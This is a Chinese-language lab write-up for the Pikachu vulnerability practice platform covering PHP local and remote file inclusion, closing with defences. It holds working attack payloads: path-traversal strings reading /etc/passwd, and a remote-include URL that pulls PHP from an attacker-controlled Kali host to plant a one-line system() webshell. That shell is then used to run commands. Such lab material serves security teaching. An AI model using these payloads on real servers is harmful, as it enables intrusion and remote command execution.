Pikachu漏洞练习平台实验——文件包含(File Inclusion)(六)
概述
简介
在 Web 后台开发中,程序员往往为了提高效率以及让代码看起来更加简洁,会使用 “包含” 函数功能。比如把一系列功能函数都写进 function.php 中,之后当某个文件需要调用的时候直接在文件头中写上一句 <?php include function.php?>就可以调用函数。
但有些时候,因为网站功能需求,会让前端用户选择需要包含的文件(或者在前端的功能中使用了“包含”功能),又由于开发人员没有对要包含的这个文件进行安全考虑,就导致攻击者可以通过修改文件的位置来让后台执行任意文件(代码)。
分为 本地文件包含 和 远程文件包含 两种。
包含函数
通过 include() 或者 require() 语句,可以将 PHP 文件的内容插入另一个 PHP 文件(在服务器执行它之前)
include 和 require 是相同的,除了错误处理方面:
- require 会生成致命错误( E_COMPILE_ERROR )并停止脚本
- include 只生成警告( E_WARNING ),并且脚本会继续
本地文件包含
我们在 pikachu 平台上先对本地文件包含进行测试
可以看到是 传了一个文件名到后台,后台会指定的目标文件进行对应的操作(这些文件都是后台自己存在的文件)
如果目标服务器在 Linux 上,我们可以 “../” 的方式进行目录跳转,读取其他目录下的文件,比如 /etc/passwd
../../../../../../../../etc/passwd
Windows 也可以用类似的方式
../../../../Windows/System32/drivers/etc/hosts
远程文件包含
前提
远程文件包含漏洞形式和本地文件包含漏洞差不多,在远程文件包含漏洞中,攻击者可以通过访问外部地址来加载远程代码
远程包含漏洞前提:如果使用 includer 和 require ,则需要 php.ini 配置如下
allow_url_fopen = on
allow_url_include = on
phpstudy 可以这样子打开
远程文件包含:写入一句话木马
在 Pikachu 上,远程文件包含这里,同样是通过传递一个文件名进行包含的
我们把它改成一个攻击者服务器上的恶意代码。
在 Kali 上,在 /var/www/html/ 中新建一个 yijuhua.txt,输入下面的内容,并通过 service apache2 start 启动 apache 服务
<?php $myfile = fopen("yijuhua.php", "w"); $txt = '<?php system($_GET[x]);?>'; fwrite($myfile, $txt); fclose($myfile); ?>
然后把 filename 后面的参数改成远程文件的地址
http://192.168.171.133/pikachu/vul/fileinclude/fi_remote.php?filename=http://192.168.171.129/pikachu/yijuhua.txt&submit=提交
提交之后我们的远程服务器上会多出一个文件,这个文件一般在同级目录下
这时候我们就可以利用我们上传的 php 文件进行相关的操作
http://192.168.171.133/pikachu/vul/fileinclude/yijuhua.php?x=ipconfig
防范措施
一般只有文件包含漏洞或者文件上传漏洞是比较难利用的。但如果存在着两个漏洞则可以配合使用。
如果服务器仅仅只允许上传图片,我们可以尝试用图片木马的方式绕过检查机制
- 制作一个图片木马,通过文件上传漏洞上传
- 通过文件包含漏洞对该图片木马进行“包含”
- 获取执行结果
防范措施
- 在功能设计上尽量不要将文件包含函数对应的文件放给前端选择和操作
- 过滤各种 ../../,http://,https://
- 配置 php.ini 配置文件
- allow_url_fopen = off
- allow_url_include = off
- magic_quotes_gpc = on
- 通过白名单策略,仅允许包含运行指定的文件,其他的都禁止